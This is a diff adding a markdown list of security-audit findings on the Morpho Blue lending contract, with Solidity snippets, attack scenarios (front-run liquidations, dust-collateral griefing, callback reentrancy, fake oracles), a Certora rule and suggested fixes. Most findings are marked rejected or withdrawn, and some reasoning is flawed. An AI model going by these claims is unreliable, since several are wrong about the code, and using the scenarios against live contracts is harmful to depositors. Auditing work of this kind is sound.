+ uint256 constant WAD = 1e18;
+
+ /// @dev Returns (`x` * `y`) / `WAD` rounded down.
+ function wMulDown(uint256 x, uint256 y) internal pure returns (uint256) {
+ return mulDivDown(x, y, WAD);
+ }
+
+ /// @dev Returns (`x` * `WAD`) / `y` rounded down.
+ function wDivDown(uint256 x, uint256 y) internal pure returns (uint256) {
+ return mulDivDown(x, WAD, y);
+ }
+
+ /// @dev Returns (`x` * `WAD`) / `y` rounded up.
+ function wDivUp(uint256 x, uint256 y) internal pure returns (uint256) {
+ return mulDivUp(x, WAD, y);
+ }
+
+ /// @dev Returns (`x` * `y`) / `d` rounded down.
+ function mulDivDown(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) {
+ return (x * y) / d;
+ }
+
+ /// @dev Returns (`x` * `y`) / `d` rounded up.
+ function mulDivUp(uint256 x, uint256 y, uint256 d) internal pure returns (uint256) {
+ return (x * y + (d - 1)) / d;
+ }
+
+ /// @dev Returns the sum of the first three non-zero terms of a Taylor expansion of e^(nx) - 1, to approximate a
+ /// continuous compound interest rate.
+ function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+ uint256 firstTerm = x * n;
+ uint256 secondTerm = mulDivDown(firstTerm, firstTerm, 2 * WAD);
+ uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 3 * WAD);
+
+ return firstTerm + secondTerm + thirdTerm;
+ }
+}
+
+library SharesMathLib {
+
+ using MathLib for uint256;
+
+ uint256 internal constant VIRTUAL_SHARES = 1e6;
+ uint256 internal constant VIRTUAL_ASSETS = 1;
+
+ function toSharesDown(uint256 assets, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+ return assets.mulDivDown(totalShares + VIRTUAL_SHARES, totalAssets + VIRTUAL_ASSETS);
+ }
+
+ /// @dev Calculates the value of `shares` quoted in assets, rounding down.
+ function toAssetsDown(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+ return shares.mulDivDown(totalAssets + VIRTUAL_ASSETS, totalShares + VIRTUAL_SHARES);
+ }
+
+ /// @dev Calculates the value of `assets` quoted in shares, rounding up.
+ function toSharesUp(uint256 assets, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+ return assets.mulDivUp(totalShares + VIRTUAL_SHARES, totalAssets + VIRTUAL_ASSETS);
+ }
+
+ /// @dev Calculates the value of `shares` quoted in assets, rounding up.
+ function toAssetsUp(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+ return shares.mulDivUp(totalAssets + VIRTUAL_ASSETS, totalShares + VIRTUAL_SHARES);
+ }
+}
+
+contract testIsHealthyForPointEightEtherLLTV {
+
+ uint256 constant ORACLE_PRICE_SCALE = 1e36;
+
+ using SharesMathLib for uint256;
+ using MathLib for uint256;
+
+
+ function calcBorrowShares() internal pure returns (uint256) {
+
+ uint256 assets = 100e18;
+ uint256 totalBorrowAssets = 1000e18;
+ uint256 totalBorrowShares = 1000e18;
+ uint256 shares = uint256(assets).toSharesUp(totalBorrowAssets, totalBorrowShares);
+ return shares;
+ }
+
+
+ function returnBorrowed(uint256 shares) internal pure returns (uint256) {
+
+ uint256 borrowShares = shares;
+ uint256 totalBorrowAssets = 1000e18;
+ uint256 totalBorrowShares = 1000e18;
+
+ uint256 borrowed = uint256(borrowShares).toAssetsUp(totalBorrowAssets, totalBorrowShares);
+ return borrowed;
+ }
+
+ function returnMaxBorrow() internal pure returns (uint256) {
+
+ uint256 collateral = 200e18;
+ uint256 collateralPrice = 1e18;
+ uint256 lltv = 0 ether;
+ uint256 maxBorrow = uint256(collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE).wMulDown(lltv);
+ return maxBorrow;
+ }
+
+ function isHealthy() external pure returns (bool) {
+
+ uint256 borrow = returnBorrowed(calcBorrowShares());
+ uint256 maxBorrow = returnMaxBorrow();
+ return maxBorrow >= borrow;
+ }
+}
+
+```
+
+
+
+### A liquidator can seize more collateralToken amount beyond the remained-collateralToken balance of the borrower _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L400-L400](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L400-L400)
+
+- Description:
+When a borrower want to supply the amount of the collateralToken to increase a LTV, the borrower call the Morpho#`supplyCollateral()`.
+Within the Morpho#`supplyCollateral()`, the amount (`assets`) of the collateralToken would be transferred from a borrower (`msg.sender`) to the Morpho contract (`address(this)`) like this:
+(NOTE:By design, all collateralToken would be transferred to the **same** Morpho contract (`address(this)`) when a borrower in any Market would supply a collateralToken)
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L316
+```solidity
+ /// @inheritdoc IMorphoBase
+ function supplyCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, bytes calldata data)
+ external
+ {
+ Id id = marketParams.id();
+ ...
+ position[id][onBehalf].collateral += assets.toUint128();
+ ...
+
+ IERC20(marketParams.collateralToken).safeTransferFrom(msg.sender, address(this), assets); ///<--------- @audit
+ }
+```
+
+When a liquidator want to liquidate a liquidatable borrower's debt position, the liquidator would call the Morpho#`liquidate()`.
+Within the Morpho#`liquidate()`, the amount of the collateralToken to be seized (`seizedAssets`) would be assigned as a parameter.
+And then, the amount of the collateralToken to be seized (`seizedAssets`) would be subtracted from the amount of the collateralToken that the borrower supplied (`position[id][borrower].collateral`).
+Finally, the amount of the collateralToken to be seized (`seizedAssets`) would be transferred from the Morpho contract (`address(this)`) to the liquidator (`msg.sender`) like this:
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L347
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L384
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L400
+```solidity
+ /// @inheritdoc IMorphoBase
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets, /// <------------------ @audit
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ ...
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128(); ///<-------- @audit
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets); ///<-------- @audit
+ ...
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+ }
+```
+
+Within the Morpho#`liquidate()` above, if the remained-amount of the collateralToken that the borrower supplied (`position[id][borrower].collateral`) would be greater than or equal to the amount of the collateralToken to be seized (`seizedAssets`), transferring the amount of the collateralToken to be seized (`IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets)`) is supposed to be reverted.
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L400
+
+However, since all collateralToken would be transferred to the **same** Morpho contract (`address(this)`) and pooled in the **same** Morpho contract (`address(this)`) when a borrower in any Market would supply a collateralToken by design, transferring the amount of the collateralToken to be seized (`IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets)`) would **not** be reverted. It would be successful.
+Because the **shortfall amount** of the collateralToken to be seized (`seizedAssets.toUint128() - position[id][borrower].collateral `) can be transferred from the pooled-amount of the collateralToken-supplied by the other borrowers in both the same Market and the different Market.
+
+This lead to decreasing the pooled-amount of the collateralToken-supplied by the other borrowers - even if the debt positions of the other borrowers would **not** be a liquidatable status.
+
+
+- PoC:
+
+Assuming that:
+- collateralToken is WETH
+- loanToken is USDC
+- Price is 2000 USDC / 1 WETH
+- LLTV is 90%
+- There are 3 borrowers (borrowerA, borrowerB, borrowerC)
+- There are 2 liquidators (Alice, Bob)
+
+Here is an example scenario:
+- 1/ 3 borrowers would supply 1 WETH as a collateralToken respectively.
+- 2/ Now, the pooled-WETH collateralToken balance of the Morpho contract is 3 WETH.
+- 3/ borrowerA would borrow 1500 USDC against 1 WETH collateralToken.
+- 4/ Due to changing a market condition, WETH price would be dropped to 1500 USDC / 1 WETH.
+- 5/ Now, borrowerA's LTV is 100% and it would exceed LLTV (90%). And therefore, borrowerA's debt position would become a liquidatable status.
+- 6/ Alice would call the Morpho#`liquidate()` with the full amount of collateralToken (1 WETH) as a `seizedAssets`.
+- 7/ Bob would observe the Alice's transaction and front-run to call the Morpho#`liquidate()` with the 0.9 WETH of collateralToken as a `seizedAssets` with a higher gas fee.
+- 8/ Bob would receive the 0.9 WETH collateralToken.
+- 9/ Then, Alice would receive the 1 WETH collateralToken.
+ - 0.1 WETH is transferred from the borrowerA's remained-collateral balance and the other 0.9 WETH, which is the shortfall amount of collateralToken (0.9 WETH = 1 WETH - 0.1 WETH), is transferred from the pooled-amount of WETH collateralToken balance that the other borrowers supplied.
+- 10/ The pooled-amount of WETH collateralToken balance would be decreased to 1.1 WETH (3 WETH - 1 WETH - 0.9 WETH).
+
+In the step 9/, Alice's transaction is supposed to be reverted. Because the remained-collateralToken (WETH) balance of the borrowerA is only 0.1 WETH and it is much less than 1 WETH, which the borrowerA specified as a `seizedAssets` (when step 6/), after the Bob would receive the 0.9 WETH collateralToken by front-running.
+
+However, since all collateralToken that all borrowers supplied would be pooled in the same Morpho contract and there is no validation to check whether or not the remained-amount of the collateralToken that the borrower supplied (`position[id][borrower].collateral`) would be greater than or equal to the amount of the collateralToken to be seized (`seizedAssets.toUint128()`), Alice could receive the full amount of collateralToken (1 WETH) as she specified as a `seizedAssets`.
+
+This means that the pooled-amount of WETH collateralToken balance that the other borrowers (borrowerB, borrowerC) supplied would be used for paying the borrowerA's shortfall amount of the collateralToken to be seized.
+
+
+Remarks:
+Since the all collateralToken that all borrowers supplied would be pooled in the same Morpho contract regardless of the Market, not only **the same Market** of the pooled-collateral token balance-supplied by the borrowers in the **same Market** can be used for paying the shortfall amount of collateralToken but also **the other Market** of the pooled-collateral token balance-supplied by the borrowers in the **other Market** can be used for paying the shortfall amount of collateralToken.
+
+
+- Recommendation:
+Within the Morpho#`liquidate()`, consider adding a validation to check whether or not the remained-amount of the collateralToken that the borrower supplied (`position[id][borrower].collateral`) would be greater than or equal to the amount of the collateralToken to be seized (`seizedAssets.toUint128()`) like this:
+```diff
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ ...
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
++ require(position[id][borrower].collateral >= seizedAssets.toUint128(), "The remained-amount of the collateralToken that the borrower supplied must be greater than or equal to the amount of the collateralToken to be seized");
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+ ...
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+ }
+```
+
+
+
+
+
+
+
+
+### A malicious user can stop distribution of debts to lenders. _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+A malicious user can stop the spreading of bad debt to lenders by frontrunning a liquidation and increasing asset collateral just before a liquidation with a dust amount that makes any future liquidation not profitable to any other liquidator, there by disabling spreading of bad debt to lenders and thus making the market unusable. This is very possible, as a malicious lender can do this to avoid getting less interest from the lending pool when the bad debt is spread.
+
+**Proof Of concept.**
+
+Bob tries to liquidate a position by seizing the entire asset collateral of 100ETH, which pays for a loan that includes a bad debt which the lending pool will have to cover, Alice ( who could be a lender) sees this and knows that the bad debt will be spread across the lending pool, she decides to front run the transaction and supplies as little collateral as possible. that makes the spreading of bad debt condition not execute, lets assume Alice supplies the equivalent of 2 wei, when Bobs transaction is executed, it deducts the collateral of 100ETH as Bob requested, now whats left in the collateral balance is 2wei, which means collateral is not equal to zero:
+
+```
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+```
+
+``if (position[id][borrower].collateral == 0) ``
+
+Since now the collateral is not 0, the code block in the condition will not execute. Because Alice supplied the smallest possible amount of collateral that breaks that condition, the liquidation of that position will not be lucrative for any liquidator, so there is no incentive to liquidate the remaining position for dust. A malicious user, can do this out of spite to make the pool unusable or a lender can do this to avoid spreading the debt to lenders and leading to less interest for them. If a lender, this could also be a sandwich transaction, which immediately withdraws its position after the liquidation, cause the market might soon become unusable after the first frontrun and liquidation, as the market now has outstanding debt not payed for.
+
+
+
+**Recommendation**:
+
+There should be a threshold on the minimum amount of asset provided as collateral for an active position. There is no good incentive to provide collateral for an active position that is valid for liquidation and yet the collateral provided does not upset the bad debt position.
+
+
+
+### An unhealthy borrower should stay unhealthy after a call to borrow (call should revert) _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L232-L263](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L232-L263)
+
+**Description**:
+
+The only three functions of `MorphoBlue` that should be able to turn an unhealthy position into a healthy one are `repay`, `supplyCollateral` and `liquidate`.
+
+I wrote a `Certora prover` rule to prove this, but it resulted in one other function that can accomplish this: `borrow`.
+
+The prover used the following values:
+
+_Before the call to borrow_:
+* Interest is accrued to make sure it does not affect the healthiness computation in the call to `borrow`.
+* marketParams=(loanToken = 0x2715, collateralToken = 0x2712, oracle = MorphoHarness (0x2713), irm = 0x2712, lltv = 0xb1a2bc2ec500000)
+* id = 0x2716
+* user = 0xfffffffffffffffffffffffffffffffffffffffe
+* msg.sender = 0xfffffffffffffffffffffffffffffffffffffffd
+* collateralPrice = 1
+* market[0x2716].totalBorrowAssets: 2
+* market[0x2716].totalBorrowShares: 3000022 (0x2dc6d6)
+* position[0x2716][0xfffffffffffffffffffffffffffffffffffffffe].borrowShares: 5333363 (0x516173)
+* In the __isHealthy_ call:
+ * borrowed = 5
+ * maxBorrow = 4
+* Result of health check = _not healthy_
+
+_Call to borrow_:
+* marketParams=(loanToken = 0x2715, collateralToken = 0x2712, oracle = MorphoHarness (0x2713), irm = 0x2712, lltv = 0xb1a2bc2ec500000)
+* assets = 0
+* shares = 1
+* onBehalf = 0xfffffffffffffffffffffffffffffffffffffffe
+* receiver = MorphoHarness (0x2713)
+* id = 0x2716
+* market[0x2716].lastUpdate = 1
+* market[0x2716].totalBorrowAssets: 2
+* market[0x2716].totalBorrowShares: 3000023 (0x2dc6d7)
+* position[0x2716][0xfffffffffffffffffffffffffffffffffffffffe].borrowShares: 5333364 (0x516174)
+* In the __isHealthy_ call:
+ * borrowed = 4
+ * maxBorrow = 4
+* Result of health check = _healthy_
+
+
+_After the call to borrow_:
+* marketParams=(loanToken = 0x2715, collateralToken = 0x2712, oracle = MorphoHarness (0x2713), irm = 0x2712, lltv = 0xb1a2bc2ec500000)
+* id = 0x2716
+* user = 0xfffffffffffffffffffffffffffffffffffffffe
+* msg.sender = 0xfffffffffffffffffffffffffffffffffffffffd
+* collateralPrice = 1
+* market[0x2716].totalBorrowAssets: 2
+* market[0x2716].totalBorrowShares: 3000023 (0x2dc6d7)
+* position[0x2716][0xfffffffffffffffffffffffffffffffffffffffe].borrowShares: 5333364 (0x516174)
+* In the __isHealthy_ call:
+ * borrowed = 4
+ * maxBorrow = 4
+* Result of health check = _healthy_
+
+As we can see, the call to borrow increases both `totalBorrowShares` of market `0x2716` and `borrowShares` of the _onBehalf_ account (`0xfffffffffffffffffffffffffffffffffffffffe`) in market `0x2716` by 1. This is expected, as the call to `borrow` was made passing assets = 0 and shares = 1.
+
+But it does not increase the value of `totalBorrowAssets` of market `0x2716`, probably due to a rounding issue.
+
+**Recommendation**:
+
+It should be disallowed to call `borrow` on an unhealthy position. For this, a check at the beginning of the function could be made, calling the `_isHealthy` function and reverting if not healthy.
+
+
+**PoC**
+
+I paste below the `spec` file with the rule. And here is a link to the run I made that yielded the values in the description of the issue: https://prover.certora.com/output/14870/dd08372cb6f146cbb81c9e4568bbeaea
+
+```
+import "./sanity.spec";
+import "./erc20.spec";
+
+using DummyERC20A as loanToken;
+using DummyERC20A as collateralToken;
+
+
+methods {
+ function setOwner(address) external;
+ function nonce(address) external returns(uint256) envfree;
+ function isIrmEnabled(address) external returns(bool) envfree;
+ function isLltvEnabled(uint256) external returns(bool) envfree;
+ function libId(MorphoHarness.MarketParams) external returns MorphoHarness.Id envfree;
+
+ function _.price() external => CONSTANT;
+
+ function _.extSloads(bytes32[] slots) external => NONDET DELETE;
+}
+
+
+// RULES
+use rule sanity;
+
+rule ifNotHealthyBeforeHealthyAfterOnlyIfRepaySupplyCollateralOrLiquidate(method f) {
+ env e;
+ calldataarg args;
+
+ MorphoHarness.MarketParams marketParams;
+ MorphoHarness.Id id = libId(marketParams);
+
+ require marketParams.lltv < 10^18;
+
+ address borrower;
+
+ // We accrue interest first, a this affects the healthiness
+ accrueInterest(e, marketParams);
+
+ bool isHealthyPre = isHealthy(e, marketParams, id, borrower);
+ require(!isHealthyPre);
+
+ if(f.selector == sig:setFee(MorphoHarness.MarketParams, uint256).selector){
+ uint256 newFee;
+ setFee(e, marketParams, newFee);
+ }
+ else if(f.selector == sig:createMarket(MorphoHarness.MarketParams).selector){
+ createMarket(e, marketParams);
+ }
+ else if(f.selector == sig:supply(MorphoHarness.MarketParams, uint256, uint256, address, bytes).selector){
+ uint256 assets;
+ uint256 shares;
+ bytes data;
+ require data.length == 0;
+ supply(e, marketParams, assets, shares, borrower, data);
+ }
+ else if(f.selector == sig:withdraw(MorphoHarness.MarketParams, uint256, uint256, address, address).selector){
+ uint256 assets;
+ uint256 shares;
+ address receiver;
+ withdraw(e, marketParams, assets, shares, borrower, receiver);
+ }
+ else if(f.selector == sig:borrow(MorphoHarness.MarketParams, uint256, uint256, address, address).selector){
+ uint256 assets;
+ uint256 shares;
+ address receiver;
+ borrow(e, marketParams, assets, shares, borrower, receiver);
+ }
+ else if(f.selector == sig:repay(MorphoHarness.MarketParams, uint256, uint256, address, bytes).selector){
+ uint256 assets;
+ uint256 shares;
+ bytes data;
+ require data.length == 0;
+ repay(e, marketParams, assets, shares, borrower, data);
+ }
+ else if(f.selector == sig:supplyCollateral(MorphoHarness.MarketParams, uint256, address, bytes).selector){
+ uint256 assets;
+ bytes data;
+ require data.length == 0;
+ supplyCollateral(e, marketParams, assets, borrower, data);
+ }
+ else if(f.selector == sig:withdrawCollateral(MorphoHarness.MarketParams, uint256, address, address).selector){
+ uint256 assets;
+ address receiver;
+ withdrawCollateral(e, marketParams, assets, borrower, receiver);
+ }
+ else if(f.selector == sig:liquidate(MorphoHarness.MarketParams, address, uint256, uint256, bytes).selector){
+ uint256 seizedAssets;
+ uint256 repaidShares;
+ bytes data;
+ require data.length == 0;
+ liquidate(e, marketParams, borrower, seizedAssets, repaidShares, data);
+ }
+ else if(f.selector == sig:accrueInterest(MorphoHarness.MarketParams).selector){
+ accrueInterest(e, marketParams);
+ }
+ else {
+ f(e,args);
+ }
+
+ bool isHealthyPost = isHealthy(e, marketParams, id, borrower);
+
+ assert isHealthyPost => (
+ f.selector == sig:repay(MorphoHarness.MarketParams, uint256, uint256, address, bytes).selector ||
+ f.selector == sig:supplyCollateral(MorphoHarness.MarketParams, uint256, address, bytes).selector ||
+ f.selector == sig:liquidate(MorphoHarness.MarketParams, address, uint256, uint256, bytes).selector
+ );
+
+}
+```
+
+
+
+### Re-Entrancy bug could cause drain of contract through supply and supplyCollateral function
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Here's a breakdown of the issue from the `supply` or `supplyCollateral`function and its potential consequences:
+
+*The Problem*:
+
+The `supply` or `supplyCollateral` function calls the onMorphoSupply callback function from the msg.sender contract after updating the user's shares and assets. However, this call happens before debiting the user's supplied assets. This creates a window of opportunity for a malicious attacker to exploit, by inflating deposited assets value and borrowing against the inflated value.
+
+
+*The Attack Scenario*:
+
+- The attacker calls the `supply` or `supplyCollateral` function with a large amount of assets and arbitrary data.
+- The function updates the attacker's shares and assets, inflating their position in the market.
+- Before the user's supplied assets are actually transferred to the contract.
+- The attacker calls the onMorphoSupply callback function inside his/her contract recursively since `IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data)` is used showing the callback is called from the msg.sender contract.
+- Inside the callback, the attacker can call the supply function again with even more assets, further inflating their position and accumulating more shares.
+- This loop can continue until the attacker reaches their desired level of inflation.
+- Finally, the attacker exits the loop and the original supply function call continues, debiting the attacker's initial actual supplied assets (which may be much smaller than the inflated position).
+- Then the attacker borrows against the inflated position which is already under-collateralized and not pay back.
+
+**Line**:
+- https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166
+- https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300
+
+*Impact*:
+
+This attack can lead to several negative impacts:
+
+- Inflated Market State: The attacker's artificially inflated position can disrupt the market's equilibrium by skewing various calculations and ratios.
+- Unfair Advantage: The attacker gains an unfair advantage over other users by having a larger share of the market without actually contributing the corresponding amount of assets.
+- Loss of Funds: If the attacker exploits this vulnerability to borrow more assets than they have supplied, it could lead to bad debt and huge losses for the protocol.
+
+**Recommendation**:
+
+There are several ways to mitigate this reentrancy vulnerability:
+
+- Reentrancy Guard: Implement a reentrancy guard mechanism that prevents the function from being called recursively while the state is being updated.
+- Transfer First: Modify the function to transfer the user's assets to the contract before updating their shares and calling the callback. This ensures that the user's actual contribution is confirmed before inflating their position.
+
+
+
+### Re-Entrancy bug in repay function
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The `repay` function exhibits a similar vulnerability to reentrancy attacks as the `supply` function. Here's a breakdown of the issue and potential mitigation strategies:
+
+*The Problem*:
+
+The function updates the user's borrow shares and total borrow assets before transferring the actual repayment amount from the user's wallet. This creates a window of opportunity for a malicious attacker to exploit, similar to the `supply` function's vulnerability, by reducing the borrow shares and borrow asset value while paying a far lower value.
+
+The Attack Scenario:
+
+- The attacker calls the repay function with a small amount of assets and arbitrary data.
+- The function updates the attacker's borrow shares and reduces the total borrow assets, effectively lowering the user's debt.
+- Before the actual repayment amount is transferred, the attacker calls the onMorphoRepay callback function recursively.
+- The attacker calls the onMorphoSupply callback function inside his/her contract recursively since `IMorphoSupplyCallback(msg.sender).onMorphoRepay(assets, data)` is used showing the callback is called from the msg.sender contract.
+- This loop can continue until the attacker has completely eliminated their debt and potentially gained extra shares from the inflated position.
+- Finally, the attacker exits the loop and the original repay function call continues, transferring the small initial repayment amount.
+
+
+*Impact*:
+
+This attack can lead to several negative impacts:
+
+- Unfair Debt Reduction: The attacker can artificially reduce their debt to zero or even negative values, gaining an unfair advantage over other borrowers.
+- Market Disruption: Manipulating the total borrow assets can disrupt various market calculations and ratios, potentially impacting other users and protocol operations.
+- Potential Loss of Funds: If the attacker's inflated position exceeds their actual repayments, it could lead to bad debt and potential losses for the protocol.
+
+**Line**:
+- https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L266
+
+**Recommendation**:
+
+Just like with the `supply` function, there are several ways to mitigate this reentrancy vulnerability in the repay function:
+
+- Reentrancy Guard: Implement a reentrancy guard mechanism that prevents the function from being called recursively while the state is being updated.
+- Transfer First: Modify the function to transfer the repayment amount from the user's wallet before updating their borrow shares and total borrow assets. This ensures that the actual payment is confirmed before inflating the user's position.
+
+
+
+
+### Manipulated Price Oracle could lead to inflation during liquidation _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The `liquidate` function relies on the price obtained from the IOracle address provided in the marketParams input. However, there's no verification to ensure that this address is actually the intended oracle for the market. A malicious attacker could potentially:
+
+- Provide a fake Oracle address that returns manipulated prices.
+- Lower the collateral price artificially, making healthy positions appear unhealthy and triggering unnecessary liquidations.
+- Profit by liquidating these healthy positions at a discount, stealing assets from users and potentially disrupting the market.
+- This can be done from this line `uint256 collateralPrice = IOracle(marketParams.oracle).price();`
+
+**Line**:
+- https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L357
+
+
+**Impact**:
+
+This vulnerability can have devastating consequences for both users and the protocol:
+
+- Unfair Liquidations: Users with healthy positions could be unfairly liquidated due to manipulated collateral prices, losing their assets and potentially facing financial hardship.
+- Market Disruption: Unnecessary liquidations can destabilize the market, impacting other users' positions and potentially leading to cascading effects.
+- Loss of Trust: Users might lose trust in the protocol if they believe their assets are at risk due to insecure Oracle usage.
+
+**Recommendation**:
+
+To mitigate this vulnerability, there are several solutions to consider:
+
+- Whitelist Oracles: Maintain a whitelist of approved oracles for each market and verify the provided address against this whitelist before trusting the price data.
+- Oracle Registry: Implement a decentralized oracle registry where markets register their trusted oracles. The liquidate function could then query this registry to verify the provided oracle address.
+- Multiple Oracles: Utilize a system with multiple oracles and aggregate their price data to minimize the impact of a single compromised oracle.
+
+
+By implementing one or a combination of these solutions, the liquidate function can be made significantly more secure and resistant to oracle manipulation. This will protect users' assets, maintain market stability, and build trust in the protoco
+
+
+
+### (I WITHDREW THIS BUT IT STILL IS APPEARING ON MY PAGE) maxBorrow overcalculated by 1e18
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L522-L522](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L522-L522)
+
+**Description**:
+
+
+_isHealthy is off by a factor of 1e18 when calculating the amount someone is allowed to borrow
+
+Here's the relevant code:
+
+```
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+```
+
+Suppose the loan and collateral token are both WETH, with a collateral price of 1 (denominated as 1e36 == ORACLE_PRICE_SCALE), and an LLTV of 0.5 (denominated as 0.5e18).
+
+Now run this calculation with collateral of 2 wei.
+
+Then this calculation is: (2 * 1e36 / 1e36) * 0.5e18 = 1e18. So it says that someone who deposits 2 wei of collateral can borrow 1 WETH.
+
+So a borrower can effectively get the loan token for free.
+
+
+How did this get past testing? Simple. There is also a bug in the only relevant test that provides too little collateral by a factor of 1e18.
+
+Here's the test:
+
+```
+ function testBorrowUnhealthyPosition(
+ uint256 amountCollateral,
+ uint256 amountSupplied,
+ uint256 amountBorrowed,
+ uint256 priceCollateral
+ ) public {
+ (amountCollateral, amountBorrowed, priceCollateral) =
+ _boundUnhealthyPosition(amountCollateral, amountBorrowed, priceCollateral);
+
+ amountSupplied = bound(amountSupplied, amountBorrowed, MAX_TEST_AMOUNT);
+ _supply(amountSupplied);
+
+ oracle.setPrice(priceCollateral);
+
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+ vm.expectRevert(bytes(ErrorsLib.INSUFFICIENT_COLLATERAL));
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+ }
+```
+
+Here's _boundUnhealthyPosition
+
+```
+ function _boundUnhealthyPosition(uint256 amountCollateral, uint256 amountBorrowed, uint256 priceCollateral)
+ internal
+ view
+ returns (uint256, uint256, uint256)
+ {
+ priceCollateral = bound(priceCollateral, MIN_COLLATERAL_PRICE, MAX_COLLATERAL_PRICE);
+ amountBorrowed = bound(amountBorrowed, MIN_TEST_AMOUNT, MAX_TEST_AMOUNT);
+
+ uint256 maxCollateral =
+ amountBorrowed.wDivDown(marketParams.lltv).mulDivDown(ORACLE_PRICE_SCALE, priceCollateral);
